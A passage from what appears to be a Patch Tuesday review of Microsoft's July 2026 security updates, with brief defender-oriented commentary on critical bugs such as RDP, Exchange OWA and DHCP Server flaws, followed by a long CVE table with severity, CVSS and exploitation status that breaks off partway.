a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. \n-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. \n-    CVE-2026-55008 - Microsoft Exchange Server Spoofing VulnerabilityIgnore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it\u2019s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session \u2014 no attachment needed, no macro warning, just viewing the message does it. If you\u2019re using OWA, test and deploy this one quickly.\n-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution VulnerabilityThere are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.\n-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution VulnerabilityAnother Critical-rated bug, this one is caused by a race condition. It\u2019s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don\u2019t let the race condition lull you to sleep on a wormable bug.\n-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution VulnerabilityFile this in the \u201cwhy not\u201d category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid\u2019s Minecraft server (it is your kid\u2019s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.\nHere\u2019s the full list of CVEs released by Microsoft for July 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-56155\n  Active Directory\n  Federation Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-56164\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Moderate\n  5.3\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-50661\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.1\n  Yes\n  No\n  SFB\n \n \n  CVE-2026-54121\n  Active Directory\n  Certificate Services Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-45499 **\n  Azure OpenAI Elevation\n  of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-48564\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50370\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56159\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50382\n  DirectX Graphics\n  Kernel Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-41106 **\n  Microsoft 365 Copilot\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-26145 **\n  Microsoft Azure\n  Synapse Elevation of Privilege Vulnerability\n  Critical\n  4.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-48561\n  Microsoft Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-55011\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55012\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55944\n  Microsoft Dynamics NAV\n  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57100 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55041\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54998 **\n  Microsoft Exchange\n  Online Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55008\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-54992\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50314\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50467\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55018\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55022\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55045\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-55049\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55129\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55056\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55140\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55043\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55123\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55120\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50522\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58644\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55040\n  Microsoft SharePoint\n  Server Security Feature Bypass Vulnerability\n  Critical\n  9.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-54117\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54118\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50655\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56189\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57090\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57094\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57087\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57092\n  Microsoft Windows\n  VMSwitch Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55033\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55127\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55132\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55010\n  Minecraft Bedrock\n  Dedicated Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50474\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49164\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-54128\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50518\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49796\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50380\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-54127\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  7.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-50680\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50327\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58542\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58608\n  Windows Print Spooler\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54982\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54995\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-42982\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50392\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50694\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-56188\n  Windows Server Network\n  driver Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50444\n  Windows Server Update\n  Service (WSUS) Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54999\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47302\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50525\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50651\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57108\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50524\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50527\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50648\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50650\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50646\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50649\n  .NET Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47304\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50528\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-50659\n  .NET Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-50526\n  .NET Tampering\n  Vulnerability\n  Important\n  7\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50682\n  Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.1\n  No\n  No\n  DoS\n \n \n  CVE-2026-55001\n  Active Directory\n  Domain Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50647\n  Active Directory\n  Federation Server Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50684\n  Active Directory\n  Federation Server Spoofing Vulnerability\n  Important\n  4.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56170\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-47300\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47303\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50652\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50653\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57969\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58279\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-47632\n  Azure Monitor Agent\n  Metrics Extension Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50338\n  Azure Spring Apps\n  Elevation of Privilege Vulnerability\n  Important\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50488\n  Clipboard User Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50491\n  Code Integrity DLL\n  (ci.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50381\n  Composite Image File\n  System driver (cimfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50427\n  Content Delivery\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50692\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58633\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58634\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50296\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50375\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50353\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50493\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56643\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56644\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58629\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49174\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50495\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-57088\n  Extensible Storage\n  Engine (ESENT) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50663\n  Game: Age of Empires\n  II: Definitive Edition Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47282\n  GitHub Copilot and\n  Visual Studio Code Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41109\n  GitHub Copilot and\n  Visual Studio Code Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-50510\n  GitHub Copilot Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49787\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50420\n  HTTP.sys Information\n  Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49788\n  HTTP/2 Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50696\n  Internet Key Exchange\n  (IKE) Protocol Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58617\n  M365 Copilot for iOS\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-58595\n  Microsoft Bing App for\n  IOS Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-49162\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50305\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50361\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50466\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50458\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50658\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56178\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50657\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50329\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58541\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58596\n  Microsoft Edge\n  (Chromium-based) Elevation of Privilege Vulnerability\n  Important\n  8.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-57991\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-58291\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57981\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57984\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57985\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-57986\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57988\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-57992\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58276\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-56645\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57974\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57975\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58281\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58284\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58285\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58287\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58288\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58289\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  9\n  No\n  No\n  RCE\n \n \n  CVE-2026-58290\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58292\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58293\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58294\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57983\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.7\n  No\n  No\n  SFB\n \n \n  CVE-2026-58295\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-58525\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-57987\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58278\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56646\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57977\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57993\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58282\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58283\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58286\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58298\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.2\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58524\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58296\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58297\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58300\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58522\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-58299\n  Microsoft Edge for\n  Android Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58523\n  Microsoft Edge for\n  Android Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50678\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.6\n  No\n  No\n  Info\n \n \n  CVE-2026-54988\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-48580\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50408\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55046\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55138\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55054\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55122\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55898\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50675\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55899\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55948\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58618\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47642\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55024\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55025\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55031\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55048\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55029\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n 